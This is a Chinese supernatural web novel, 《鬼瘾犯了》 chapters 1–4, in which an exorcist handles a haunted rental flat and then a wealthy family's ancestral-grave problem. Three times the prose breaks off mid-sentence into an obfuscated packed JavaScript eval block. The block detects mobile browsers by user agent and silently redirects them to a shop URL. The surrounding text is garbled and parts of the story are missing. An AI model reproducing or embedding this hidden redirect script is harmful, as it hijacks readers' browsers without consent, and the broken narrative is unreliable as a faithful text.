《鬼瘾犯了》 1. 第 1 章 “陆、陆先生,我是许瑶,是张雪梅张姐介绍我过来的。” 对方随手扔给他一张名片,或者说写着自我介绍和联系方式的废纸:“陆叙。” 许瑶被他的草率无语到:“这……” 对方没理会她探究的眼神:“你先说说大概的情况。” 许瑶端着纸杯,手指还有点微微颤抖,坐在她对面的男人,陆先生,是通过朋友的朋友辗转找到的,听说他专门处理这类“说不清楚”的事。 说实话,第一眼看到陆叙的时候,许瑶以为自己找错人了。 这人长得太不像干这行的了,年纪很轻,五官生得很好看,那种偏向锋利的好看,眉眼微微上挑,带着点漫不经心。皮肤很白,鼻梁上一颗小痣就显得格外明显,让整张脸少了些距离感,却多了点说不出的轻佻。 穿着宽松的黑色睡衣睡裤,脖子上挂着副很大的耳机,头发有点乱,脚上穿着拖鞋,整个人随意地坐在那儿,面前摆着一堆油炸类食物和一台笔记本电脑,怎么看都像是那种只知道吃喝玩乐、熬夜打游戏的大学生。 许瑶甚至在想,这人该不会是靠脸哄人上当的骗子吧? 但她现在也没有别的选择。 “第一次发生在十天前的三点十七分,我记得很清楚,因为我醒过来的第一件事通常就是看时间,你知道的,我们这种每天必须按时上班的社畜……” 陆叙打断她:“说重点。” 许瑶的声音有点颤抖:“我通常睡眠很规律的,但那天不知道为什么突然就醒了,没有做梦,也不是被什么吵醒。”她顿了顿,“我放下手机准备继续睡,然后就觉得……周围安静得不太对头,听不到邻居的动静,窗外也没有车经过的声音,按理来说不应该。” “我是侧躺的,面对着窗户,窗帘没动,但我感觉有一阵微弱的风从窗外吹了进来,我每晚睡前都有关窗户的习惯,”许瑶脸色有点白,忍不住咽了咽口水,“我想可能是自己忘关了了,就翻个身,想继续睡。” “闭上眼却再也睡不着,脑子一片清明,不知过了多久,我听见卧室外有水滴落的声音,很轻的滴答声,但很清晰,就像在我耳边一样,隔了几秒,又是一声。” 陆叙问她:“有没有注意到滴答声持续了多久?” “第一次就那两声,所以我没多想。”许瑶陷入回忆,显然这件事让她心有余悸,陆叙能清除地看到她皮肤上的鸡皮疙瘩。 “但水声停了之后,房间好像比刚才更安静了一点,安静到我能听见自己的心脏在狂跳……” “然后我就意识到,卧室门不对劲。” “我都是关门睡觉的啊,我确定!”许瑶变得有点激动,“但那天那道门就是开了一道缝!” 陆叙轻轻拍了拍她的手臂,示意她先喝点水。 许瑶慢慢平静下来:“灯在床的另一侧,我不敢动弹,把头缩进被子里,但还是忍不住盯着那道门缝看,看了很久,门外面,传来很细微的响动……我形容不出来是什么声音,但真的很恐怖!” “然后……然后好像有人刚刚走过去了。” 陆叙警觉:“人?是实体吗?或者说有重量?” “不是,我不知道。”许瑶抖得快说不出话了:“就是一种莫名的感觉,就像空气流动了一下那样。” 陆叙松了口气,松弛地靠回沙发:“像风吹过?” “对,就像有人从门口经过,带起一阵风,但又没有风。” “然后呢?” “然后我感觉自己头发炸起来了,心跳得快要蹦出来,只能缩在被子里发抖,不敢从被子里起身去开灯,不敢把手伸出去拿手机,这才十月,但那个被子就像冰块,我手脚都是冰凉的。” 许瑶看着陆叙,面上是明晃晃的害怕:“我决定不去想这些,但下半夜根本没敢闭眼,直到楼道里传来其他邻居起床出门的响动,我才轻松了一点,然后闹钟响了,我赶快把灯打开,门确实是开着的,但窗户是紧闭的。” 陆叙问:“然后这种事就开始频繁发生?” “没有,但不知道为什么我每晚那个点都惊醒,我睡前把门窗都锁死,也没再发生那种事了,但水滴声却每晚都能听到,就三点多那一阵。” “惊醒是类似于创伤后遗症,你被吓到了,这种情绪一时半会无法平复,等事情解决了睡眠慢慢就恢复了。” 许瑶虽然面色苍白,但还是开玩笑地说:“你还兼职心理医生吗?但问题是这件事怎么解决?” “最简单的就是不把这事当回事,现在的房子,特别是出租屋,多多少少都有点,听你的描述,这玩意并不会伤害你,你不在意也就像没发生一样,但如果你很在意的话,最好就是搬走,换一个环境。” “没有其他办法吗?我刚交了一整年房租。” 陆叙声音平淡地开口:“你租的那间房,之前是不是发生过什么?淹死的,或者上吊的。” 许瑶脸色又变了:“我没问过房东。” 陆叙站起身:“你先去问清楚,我看下日子亲自去你那儿一趟,路费你承担,还有□□费,你自己考虑。” 四天后的傍晚,陆叙跟着许瑶来到出租屋门口,来时他观察了一下,这是个老小区,选址和布局很讲究,以前的住宅区通常会在这些地方下功夫,人住进去会很安定,除非是屋子里发生不好的事。 许瑶打开房门:“房东说之前没出过事,但上一个租客确实住了不到一个月就走了,说是工作调动。” 陆叙嗤笑一声:“应该是不干净的东西把他调走了吧。” 许瑶觉得他这人性格还挺跳脱,忍不住开口抱怨:“你就别说风凉话了。” 房子很普通,标准的一居室格局,装修精致,房间格局规整,布局整齐不杂乱,不存在什么冲煞的地方,家具是房东配的,有些年头了,但看得出来质量很不错,这房子房东应该也是上了心的。陆叙环顾四周,整间屋子气场很干净,不像会出问题的样子。 他走到卧室门前,轻轻试了试门,门纹丝不动,也没有自己弹开的迹象,检查了锁体,果然有点不对头: “门锁没问题,但挡片有点不合适,容易让你产生门已经锁紧实的错觉。” 走进卧室,窗户关得很严实,窗帘不是一体式的,那晚应该是没关紧的门鼓动的帘子,导致许瑶感觉到风动。 卧室似乎没什么问题,陆叙又问:“你说的水声是从哪里传来的?” “客厅那边,要么是厨房,要么是阳台。” 两人走到厨房,水龙头很新,水槽下的管道也没有渗漏的痕迹,屋顶也是干燥的。 另一边一个晾晒衣服的小阳台,应该是房东自己隔出来的,把原本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099164|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间的风水冲乱了点,陆叙一把扯下门后的小风铃扔到垃圾桶里。 “哎哎哎,你干嘛?”许瑶想伸手去捡,看到陆叙脸上玩味的笑容时又停住了动作。 “这是我亲戚送我的,人亲自做的,说是调节风水,我还看了网上的说法,说是挂阳台没问题,真得扔?” “我问你,你感觉到有东西经过门口那晚,这风铃响没响?” 许瑶想起那晚细微的响动,手上顿时起了一层鸡皮疙瘩。 陆叙叹了口气:“阳台长廊正对卧室门,这位置本身带煞,挂在这里只会让风水越来越乱,而且你这风铃……我劝你最好还是扔了。” 许瑶追问,陆叙只是说:“说多了你也不懂,那个东西很可能就是通过它进来的,谁送你的,你自己留点心,我言尽于此。” 许瑶心下一惊,点点头,没敢再问。 陆叙回到客厅,看了眼窗外,天黑透了,他关掉屋内电源总闸,在沙发上坐下。 “现在干什么?”许瑶紧张地问。 “等着。” 许瑶坐在陆叙旁边,心里忐忑不安,但没敢说话。时间一分一秒过去,冰箱偶尔会响,楼上邻居走动的声音也渐渐安静了下来。 许瑶借着月光看了眼墙上的壁钟,十二点五十七,也就在此时,她感觉一阵莫名的寒冷从背脊传上来,身后似乎荡起一阵轻微的涟漪。 就在她要开口说话的时候,陆叙抬起手,示意她别出声。 许瑶屏住呼吸。 几秒钟后,她听见了。 滴答。 很轻的一声,从厨房那边传来。 她看向陆叙,对方坐直了身子,但没有马上过去,很显然他在等。 滴答。 又是一声。 断断续续,持续了几分钟,这个点的水滴声,她以前从来没留意过。 等到那边彻底没了动静,陆叙拿出一根形状奇怪的蜡烛,点燃,这才走向厨房,许瑶赶紧跟上。 厨房看起来一起正常,但那声音确实存在过。 陆叙举高蜡烛,光束扫过厨房的每个角落。 “你看。”他把光照向天花板的一角,那里有一小块深色的痕迹。 “楼上漏水?”许瑶问。 “也许,”陆叙说,“但不是现在。” 他关掉手电筒,两人回到客厅,陆叙站在客厅中央,慢慢转了一圈。 “刚刚有没有感觉到气流?” 许瑶想了想,点了点头,指向阳台卫生间的方向。 陆叙推开门,里面依旧正常,卫生打扫得很干净。他看向天花板,那里也有一小块水渍。 “你房东说没出过事,应该没骗你。”陆叙转过身,“但他没说这房子多久了。” 许瑶突然想起来:“这是老小区了,房东才三十多岁,他应该不是第一任房主。” 陆叙点点头:“就算只有两任房主,也够发生很多事了。” 他看了看表:“我们等到三点再看看吧,三点在很多宗教里都是灵魂感应最剧烈的时刻,这也就是你之前三点多清醒时觉得屋子安静的原因。” “什、什么意思?” “就是那会儿,你的屋子不一定是你的屋子,更像一个通道。” 许瑶突然感觉有点冷,用毯子将自己裹严实了一点。 2. 第 2 章 许瑶已经困得睁不开眼了,她靠在沙发上,没一会就睡过去了。 梦里是一片虚无,她一直往前走,但越往前越是黑色的虚空,许瑶越走越快,逐渐不堪重负,无处可逃的窒息感将她包围,下一秒她猛地睁开眼睛,下意识扫了一眼壁钟,三点十八分。 几乎是同一时间,她听见了。 滴答。 厨房那边,水声又来了。这次离得近,听得很清晰,清晰到她能分辨出是水滴落在瓷砖表面的声音。 许瑶看向陆叙,对方只是看了一眼厨房的方向,然后转头继续盯着客厅中的某一点。 滴答,滴答,卫生间的方向也传来了水声。 许瑶紧张地抓着沙发扶手,她下意识地屏住呼吸,然后她注意到了卧室的门。 门锁没开,但缝隙似乎比正常锁闭时稍微大了那么一点点,似乎有更浓重的黑色正在从门缝里往外漏出来。 不是影子,但空气在轻微流动,许瑶说不清楚那是什么感觉,但她确实感觉到了,就像有黑色的东西在黑暗中经过,从卧室走到厨房门口,经过她面前,朝卫生间的方向去了。 鸡皮疙瘩一瞬间全起来了,寒意瞬间爬满全身,她捂住嘴,想叫却发不出声来。 陆叙点燃蜡烛走向卫生间,许瑶没敢跟过去,腿像灌了铅一样,动弹不得,她看着陆叙的背影消失在卫生间门口,烛光在昏暗的空间里摇晃。 “过来。”陆叙的声音响起,带着天然安抚的意味,“别怕。” 许瑶快步走过去,本能地抱住陆叙的手臂,陆叙没推开她,只是示意她看天花板。 那块水渍比之前看的时候大了一圈,边缘还在慢慢扩散,像是有水正从楼上渗下来。 但却没有任何动静。 依次检查完房间,陆叙回到客厅,熄灭蜡烛,打开灯,诡异的氛围消散了点,他慢条斯理地拿出保温杯,给自己泡了一杯颜色不明的水。 看许瑶好奇地打量,陆叙笑了笑:“最近身体有点不好,喝的药。” 许瑶点点头,指了指他的杯子:“这个小狗我也喜欢,很可爱。” 陆叙笑了,拿起杯子看了好一阵,忍不住吹嘘:“我这可是正版联名,花了我小一千呢。” 喝完水,陆叙恢复了点精神,打开所有房间的灯,又在屋里绕了一圈。 “水痕消失了,你懂我的意思吗?” “啊?” “意思是我们刚才看到的漏水,并非真实存在的,是通过我的蜡烛看到的不属于这边的东西。” “还有气流。”陆叙看着她,“你说的那种感觉,像是有人经过带起的空气流动,我也感觉到了。” “你对这些似乎比我更敏感,具体和我说一下刚才的感觉。” 许瑶看起来并不是八字很轻的体质,还有那个属阴的风铃,这其中肯定有什么事,但许瑶并不知情。 许瑶声音又开始抖起来了:“我感觉黑色的空气从卧室出来,经过我俩,然后进了厕所。” 陆叙思考了一会:“它最后消失在厕所里了,但厨房的水滴声又是怎么个事呢?” “所以……”许瑶的声音很轻,“那些都是真的?” “是有什么东西,而且保底两个。”陆叙合上手机,“也不算传统意义上的鬼,没到那种程度,更像是一种……印记。” “印记?” “发生过的事情在空间里留下的痕迹。”陆叙解释,“水声、气流、水渍,这些都是当时发生的事在不断重复,时间到了,环境对了,它就会复现。” 许瑶想了想:“所以这里以前真的出过事?” “很可能,肯定是这栋楼,但不一定是这一间房。”陆叙说,“而且跟水有关,淹死的,或者在浴室出的意外。” “那我怎么办?” 陆叙看着她,沉默了几秒。 “搬走。”他说,“这是最简单的办法,这种痕迹是被你那个风铃无意间聚集在这里的,不会伤人,不会影响气场,但就像一部按时播放的录像带,常规手段没法彻底清除,你继续住下去,每晚只要你还在那个点醒来,就会再经历一遍,时间长了,对精神不好。” 许瑶咬着嘴唇不说话。 陆叙又说:“或者你可以试着习惯它。把它当成定时响的闹钟,知道它会来,也知道它不会对你做什么,现在很多住出租屋的人其实都是这样的。” “你觉得我能接受吗?” 陆叙看着她,摇了摇头。 “你已经害怕了。”他说,“害怕了就很难再住得安心。” “真的就没别的办法了吗?”许瑶不甘心地问,“这里是我花光积蓄租的,我刚过实习期,退租我付不起违约金,也没钱再找别的房子了。” 陆叙打量了她一眼,这姑娘虽然低调,但穿着挺讲究,屋内的新摆件都不是便宜货,还有她手腕上那串配饰,应该挺有来头,不然这件事就不可能只是印记那么简单。 她住在这种老旧的单人出租屋,怎么看都不太合理,大概是和家里闹别扭,跑出来想证明自己能独立生活的那种叛逆小孩,他见过不少这样的。 “破财消灾。”陆叙说,“你可以养猫或者狗,必须是自己买的,不能抱养。动物对这些东西比人敏感,它们在的话,那些印记的能量会弱一点。” 许瑶苦笑:“我对动物毛发过敏。” 毛发过敏?陆叙在心里咀嚼了一下,掏出手机把她的客户信息完善了一下。 “那就摆些东西,驱邪的物件,不同派别的都有。我发你一份对应这种事的物品清单。” 他手指在屏幕上划了几下,很快许瑶的手机就收到了一条消息。她点开,是一份很详细的文档。 “桃木剑、八卦镜这些是道家的。佛珠、经文是佛家的,这些都是常用通用的,还有其他专门弱化印记的,简单点的也有。”陆叙解释,“最下面有很多推荐购买的地点,我都实地考察过,不会有假,你可以自己去找去买。” 许瑶翻着清单,越看越觉得复杂。 “你不卖这些?” “不卖。” “那你怎么赚钱?”许瑶抬起头,“就光收咨询费?” 陆叙笑了一下:“对,我告诉你问题在哪儿,怎么解决,具体买什么,去哪儿买,你自己决定。” “为什么不做成生意?”许瑶好奇了,“你完全可以自己做成产业链,然后卖给需要的人,肯定赚得比现在多。” “各有所长。”陆叙收起手机,“我能调查这些东西的来路,知道怎么应付,但其实不擅长实操,也没有制作法器的能耐,而且,”他顿了顿,“这种事情,还是让人自己去选比较好。你信什么,就买什么,我要是卖给你,你反而会怀疑我是不是为了赚钱,会怀疑东西是否灵验。” 许瑶想了想,觉得确实是这么个道理。 “那你推荐我买什么?” “看你有没有信仰,最好是铜镜,因为是气流式的痕迹,遇到聚气的东西会削弱存在感。”陆叙说,“如果什么都不信……还要省钱的话,就买盐和艾草,每个月换一次,但这个效果不保证。” “这些东西有用吗?” “有一点用。”陆叙很诚实,“治标不治本,因为源头并不是你住的屋子,真要彻底解决,要么搬,要么就是去查这栋楼以前发生的事。” 许瑶咬着嘴唇,看着那份清单,半天没说话。 “你自己考虑。”陆叙站起身,“那个风铃,你最好明天就扔了,或者找人问清楚。” 许瑶点头:“费用呢?” “两千。”陆叙说,“上门查看分析和解决办法。” 许瑶转了账,陆叙确认收到后朝门口走去。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“在吗?有个活儿,不知道你接不接?” 陆叙打了个哈欠,懒洋洋地回了句: “什么活儿?” “云城陆家,听说过吧?” 陆叙顿了顿,云城陆家他当然听说过。那是云城最顶上的家族,没有之一,势力盘根错节,牵扯很多,这种大家族一般不会轻易找外人处理事情,除非—— “出什么事了?” “不太好描述,反正挺邪门的,自从他家老太爷死了之后就没消停过,找过好几个人了,都没搞定。有人问我认不认识人,我琢磨着这活儿你应该能接,价钱也好商量。” 陆叙盯着屏幕,手指在键盘上悬了几秒。 云城离这儿不算远,陆家的活儿,价钱肯定不会低。老郑说都没搞定,说明确实棘手。 棘手意味着有意思,意味着他也不一定能搞定,也意味着危险。 但他账户余额已经见底了。 “什么时候?” “越快越好,他们那边被折磨疯了,你要是愿意,我现在就给你对接。” 陆叙看了看游戏界面里那个没抽到的配件,忍不住长叹一声,是真不想接,但…… “发来。” 几秒钟后,老郑推来一个名片:陆修望。 陆叙盯着这三个字,莫名觉得有点眼熟。 老郑提醒:“这位是陆家现在唯一的长孙,你自己多注意,别得罪人了。” 陆叙笑了一声,管他呢,反正求人的是对方,大不了就不干了。 他加了好友,想了想,没有马上询问情况,先睡一觉再说,现在这状态过去也干不了什么。 陆叙把手机扔在一边,整个人瘫在沙发里。 迷迷糊糊间,他想起许瑶那张惊恐的脸,还有那个老旧出租屋里若有若无的气流和两处水痕。 这件事还是有点不对头,过后还得再去帮人家小姑娘好好看看。 3. 第 3 章 陆叙刚闭上眼,手机又开始震个不停,他烦躁地抓过来看了一眼,是刚才那个陆修望。 “你就是陆叙?” “多久能到这边?请尽快。” “在吗?” “怎么不回消息?” “我问你话呢?” 一连串消息轰炸下来,陆叙眉头皱得更紧了。这语气,典型的大少爷做派,习惯了颐指气使。 他正想着要不要直接把人拉黑,手机又震了。 “你到底行不行?不行我找别人了。” “说话。” “能干干不能干就滚。” 陆叙盯着屏幕,困意瞬间消失了一半。 他烦躁地打了一行字: “想解决问题就闭上你的狗嘴。” 发完,他直接把手机调成了勿扰模式,翻了个身继续养精神。 管他什么大少爷小少爷,烦人的客户他以后再也不接了。 一觉睡到下午七点,陆叙是被饿醒了,醒过来脑袋还是一阵眩晕,他挣扎着爬起来,随便煮了碗泡面,又喝了点药,打开日历看了看,又点开小程序算了算,云城这一趟,后天去比较合适,订了票,又顺手给陆修望发了个行程。 临行前,他还是有点担心许瑶的事,发了消息询问: “这几天怎么样了?” 许瑶秒回了一条语音,听起来情绪还不错:“我很好!我按你说的买了铜镜和桃木剑,还有一大堆有的没的,偶尔还是会有水滴声,但没那么频繁了,而且我好像没那么害怕了,睡眠质量好了很多。” “嗯,继续观察,有问题随时找我,包售后。” “陆先生,谢谢你,你真是人美心善!以后肯定发大财!” “……” 陆叙看着这条消息,心里稍微安定了点。 没出什么大问题,也没提风铃的事,送她这玩意的人应该不是故意的,风铃聚的阴也不算严重,只要她自己心态调整好,加上法器中和异常能量,应该能熬过这段时间,等她攒够钱搬家,事情就彻底解决了。 陆叙收拾了一下东西,把常用的罗盘、蜡烛、镜子之类的装进背包,虽然他不太用得上这些,但基础的工具还是要带的。 陆修望态度欠揍,要不是看在钱的份上,他才懒得接这种客户,不过那人依然没有新消息,估计是被他那句“闭上狗嘴”给气着了。 陆叙得意地勾了勾嘴角,锁好门,朝车站走去。 两地离得近,两小时左右的车程。 他刚下车,手机就响了,不出所料是陆修望。 陆叙犹豫了两秒,本来打算挂了电话去找老郑,想了想还是接了。 电话那头传来一个年轻男人低沉的声音,语气依旧傲慢: “你到云城了?” “刚到。” “定位发我,我去接你,和你说一下情况。” 陆叙想都没想就拒绝了:“不用,告诉我地址,我自己打车。” “你确定?”陆修望的声音里带了点嘲讽,“从你那边到陆家老宅,打车得好几百。” 陆叙沉默了。 “那也不用你管。”陆叙说,“地址发我,会狗叫的车我不坐。” 反正最后算在咨询费里,就他这鬼态度,加他个十万八万一点都不过分。 陆修望冷哼一声: “随便你。” 挂了电话,陆叙收到了一条定位。 他看了一眼,确实挺远的。打了辆车,陆叙靠在后座上,闭着眼睛琢磨着这一趟到底会遇到什么。 能让陆家这种级别的家族搞不定的事,绝对不简单。 车开了快一个小时,终于到了云城北边。陆叙从车窗往外看,远远就能看见那片庄园。说是老宅,倒不如说是一整片山头土地都是陆家。建筑群依山而建,气派得不像话。 沿着盘山路又开了十几分钟,才终于到了正门。 陆叙付了车费下车,抬头看了一眼门口,一个穿着黑色西装的年轻人正站在那儿,背着光,看不太清脸。 “陆叙?”那人开口,声音和电话里一样,带着点傲慢。 “嗯。”陆叙背着包走过去。 距离近了,他才看清对方的长相。 陆修望这家伙,别的不说,长得确实挺帅,还很贵气,五官带着点邪气的锋利感,眉眼狭长,鼻梁高挺,嘴唇线条凌厉。 身高目测一米八七往上,腿长得过分,西装穿在身上,像是从杂志里走出来的模特。 陆叙听老郑说过,这人才21岁。 21岁,穿着西装,拿着根烟,一副霸道总裁的做派。 陆叙在心里翻了个白眼,感觉有点像神经病。 不过他还是习惯性地多看了两眼,陆修望的五官虽然带着邪气,但仔细看,其实骨相很正。天庭饱满,地阁方圆,眉目之间隐隐有光泽。这种面相,一看就是命好的人。 而且不只是好。 陆叙眯起眼,在对方脸上扫了几遍。 八字全阳,甚至很可能是纯阳之体。 这种命格的人,天生克邪,百煞不侵,运势再差也差不到哪儿去,就算遇上什么脏东西,也会自动避开他。 按理说,陆家有这么个长孙坐镇,不应该会出什么大问题才对。 “看够了?”陆修望皱着眉,显然注意到陆叙一直在盯着他看。 “没。”陆叙摸着下巴继续打量,“你这长相,不太像会出事的人。” 陆修望愣了一下,随即冷笑:“你这是在夸我?” 陆叙疑惑:“夸你干嘛,你这爱叫的狗有啥好夸的。” “……”陆修望忍了又忍,要不是有求于他,早就把他揍一顿丢出去了。 陆叙又问:“陆家这么大的家族,怎么是你来负责这件事,其他人都中招了?” 陆修望的表情变得有点复杂,他沉默了几秒,转身朝里面走:“跟我来。” 陆叙跟在后面,穿过正门,里面比外面看起来更夸张,标准的园林风格,但规模大得离谱,一路上都有园艺工人,看起来像什么土皇帝的窝点,陆叙忍不住有点仇富,想一脚踹死陆修望。不过总体来说宅子有点冷清,不太符合家族气质,看来这件事影响范围挺大。 陆修望适时开口:“目前大多数人都搬去市区了,我爷爷虽然病得严重,但他不肯走,没办法,我只能留在这看着他。” “搬走能解决问题吗?” “有些人会好一点,有的没什么变化。” 陆叙点了点头。 走了快十分钟,到了一处看起来很有古典美的院子,陆修望开口:“这是我爷爷住的院子,我太爷爷也是在这里走的。” 陆叙“嗯”了一声,等着他继续说。 “他今年才七十多,身体一直很硬朗。”陆修望的语气有点担忧,“但我太爷爷走后没多久就病倒了,时常神志不清,有时候说有黑影在面前晃,有时候又是什么面色青紫的人,还说自己被困在黑雾里。” 他顿了顿:“然后渐渐地,家里其他人也开始做这种梦,甚至没住在这边的也会受影响。” 陆叙挑了挑眉:“都有那个面色青紫的人?” “对。”陆修望回头看了他一眼,“都说不清具体是个什么生物,但共同点就是脸色发青发紫,有些人甚至能听到惨叫。” 陆叙若有所思地点点头,没说话。 两人又走了一段路,陆修望停在一座独立的院落前。院子很大,布局讲究,但不知道为什么,明明是下午,阳光正好,这院子里却透着一股说不出来的阴冷,有阴气。 “其他人应该和你说过了吧,一般这种情况,都是祖坟出了问题。” 陆修望的表情没什么变化,显然早就听过这个说法,他点了根烟:“去看过了,没什么异常。” “没异常?”陆叙有点意外,“你们祖坟在哪儿?” “那边。”陆修望随手指了指远处的一个山头,“我太爷爷葬在那儿,往上几代的祖先也都在,更早的老坟不在云城,但风水师都去看过了,没问题。” 陆叙皱起眉,这就奇怪了。 按照症状来看,家里老爷子突然神志不清,其他人也开始做噩梦,而且梦境内容都指向同一个幻像。这种情况,十有八九是祖坟根基不稳,要么是风水被破了,要么是有什么东西跑进去乱了气场。 “哪个风水师看的?”陆叙问。 “姓方,云城本地的。”陆修望说,“祖上都是做这个,我家几代安坟动土都是他们经手。” 陆叙点点头,方家确实有点名头,不可能看走眼。 “那就麻烦了。”他抓了抓头发,“如果不是祖坟的问题,那还得检查别的地方?” “你要检查哪里?” “这宅子本身可能有问题。”陆叙看着眼前这座院落,“也可能是你太爷爷生前招惹了什么东西,死后带回来了。” 陆修望吸了口烟,烟雾从他鼻腔里缓缓飘出来。 “你进去看看?” “嗯。”陆叙点头,“不过在那之前,我得先问你几个问题。” “说。” “你太爷爷生前年轻时是做什么的?” 陆修望沉默了几秒。 “什么都做。”他很坦白,“早年做过不少没法说的事。” 陆叙了然。 果然。 这种大家族,发家史能干净到哪儿去。 “他死前有什么异常吗?”陆叙又问。 “没有。”陆修望说,“走得很平静,寿终正寝。” “那就奇怪了。”陆叙喃喃自语,“如果是生前招惹的东西,临死前应该会有征兆才对……” 他看向院子,眯起眼:“算了,进去看看再说。” 陆修望站在院门外,目光落在陆叙背影上。 说实话,第一眼看到这人的时候,他是有点失望的。 倒不是说陆叙长得不行,相反,这人长得很好看,身材比例很好,身高腿长,单是站在那儿就有种松弛的美感,五官也长得很讨人喜欢,眉眼散漫,嘴角习惯性地微微勾着,看起来有点轻佻,是那种男男女女都会喜欢的长相。 但怎么看都不像是干这行的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099166|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆修望这段时间见过不少大师,要么穿西装,要么穿唐装,但这人穿着一件有点旧的黑色宽松外套,里面是白T恤,下身是撞色工装裤,乍一看就是追求穿搭的年轻人出门的打扮,身上也没带什么法器,只是带着条很有设计感的大金链子,和整体的风格还很搭。 这让他更怀疑了。 这种人,看起来更像是那种成天吃喝玩乐搞搞文艺,发点伤感男头当个小网红的,真能解决家里的问题? 陆叙已经走远了,陆修望没跟上,只是站在门外看着,他想起刚才陆叙盯着自己看的那几秒。 那眼神很奇怪,不是普通的打量,更像是在看透什么东西,眉头微微皱着,那双本来带着点轻佻的眼睛瞬间变得很专注。 然后那人分析了一堆,和其他大师说得大差不差,但陆修望莫名其妙有点想信任他。 不过信任又有什么用呢? 他爷爷的情况一天比一天差,家里人被牵扯进来的越来越多,其他方面也…… 风水看了,驱邪驱了,什么都试过,没有一个管用。 介绍人说这个陆叙不一样,说他是真有本事的。 陆修望盯着院子里那个背影,心想,最好是真的。 否则就这个人数次挑衅他,他不介意让这人从此以后在这行混不下去。 陆叙站在院子中央,闭着眼,脸上没什么表情。阳光落在他身上,把那张本来就有点轻浮的脸照得更加模糊,睫毛在眼睑下投出一小片阴影。 过了几秒,他才睁开眼,慢慢在院子里走了一圈,仔细感受着周围的气息,那股阴冷确实存在,像是有一层看不见的寒气笼罩着整个院落,但越是仔细感受,陆叙就越觉得不对劲。 这不是灵体。 他处理过不少灵邪相关的东西,有怨气重的,有执念不散的,那些东西的共同点是恶意。 但这里没有。 这里的阴冷更像是……一种气场。就像冬天走进地下室,温度骤降,但仅此而已,没有别的不对劲。 陆叙走到主屋门口,透过窗户往里看了一眼。 屋里躺着一个老人,头发花白,面色蜡黄,正闭着眼睛昏睡,床边坐着个中年女人,应该是照顾他的佣人,也是个八字硬的,估计是找人算过专门找来镇宅的,屋里更是没有灵体的迹象。 陆叙转身走到后院溜达了一圈,又仔细感受了一遍,还是一样的结论,这里有阴气,但没有鬼。 他推开院门走出去,陆修望还靠在门框上抽烟,看见他出来,微微抬了抬下巴:怎么样?” “没有鬼,也没有别的东西作祟。” 陆修望愣了一下:“怎么会?” “看你这样,你还挺期待家里有鬼?” “……” “你爷爷身上,还有这个院子里,都没有什么脏东西。”陆叙说,“那些阴冷的气,更像是从别的地方传过来的。” 陆修望皱起眉:“从哪儿传过来的?” 陆叙看向远处的山头。 “我确信是老坟的问题。”他说,“要么是你太爷爷的新坟,要么是其他更早的老坟。” “可是方师傅说——” “我知道方师傅的判断不会有问题。”陆叙打断他,“但风水师看的是风水,不是我说的这些东西。” 他组织了一下语言:“风水讲的是气场流转、龙脉走向、阴阳平衡。但有些东西,不在风水的范畴里。” 陆修望盯着他:“你是说地底下?棺材里?” “哟,你还挺有悟性。”陆叙满意地点了点头,“而且不是最近才有的,应该存在很久了。只是你太爷爷下葬之后,某种平衡被打破了,所以才开始影响你们家族的人。” 陆修望沉默了几秒,掐灭烟头。 “你要去看坟吗?” “嗯。”陆叙说,“先吃点饭吧,我快饿死了,你算一下时间,晚上十点多到那里就行,先看个大概,其他的明天再说。” “要带人或者准备什么吗?” “不用,你是族人,你带我上去就行,人多了反而会影响气场。” 其实是有个这种体质的人跟着,阴气不会太影响他,挺好。 吃完饭,陆修望换了一身简单的黑色休闲服,头发有点凌乱,看起来清爽又桀骜,陆叙觉得他像那种校草级别的男大,是个不可多得的帅哥苗子。 忍不住拍了拍他的肩:“这样穿才对嘛,小小年纪穿什么西装装深沉,看起来又老又小的。” 陆修望确信自己绝对把他得罪狠了,不管做什么都会被这个人刺一下:“下午那会是有个会替我爹去开,他昨晚又被梦魇住了,没睡好。” “哦,这样啊。不过如果这件事处理不好,以后所有会都只能你去开了。” “……”陆修望咬了咬牙,又反驳不了,脸色一片阴沉。 “你看看你,丧着脸干嘛,趁现在还能笑得出来多笑笑吧。” 陆修望听出他的言外之意,再也忍不住了,恶狠狠地说:“你是不是想死?” 陆叙摊了摊手:“随你怎么说,反正我这人只说实话。” 4. 第 4 章 陆修望把车停在山下,两人沿着宽阔的青石路朝后山走,大概二十分钟,前方出现了一片开阔地。 陆叙一眼就看见了那片墓地,地势丰厚圆满,月光之下元合贯通,山水重叠环抱,上分下合,不犯十恶,是块挑不出毛病的宝地,怪不得这个陆家能做到今天这地步。 陆修望指了指最前面那座:“那就是我太爷爷的。” 陆叙走过去,在墓前站定,墓地修得很讲究,周围种了松柏,摆着供品,艮方开阔,流水通畅,左右有护卫,格局没问题。 但陆叙站在那儿,就是觉得哪里不对,他转头看向后面那些老坟。 “你太爷爷的新坟不对劲,不过那股阴气干扰到这边的气场,目前也没法判断。” “那怎么办?” 陆叙没说话,又仔细打量了一番,想明白了个大概,这座坟是关键,有人对这个新坟做了手脚,但阴气流进老宅显然是关键步骤之外的某个环节出了纰漏,或者说,意外。 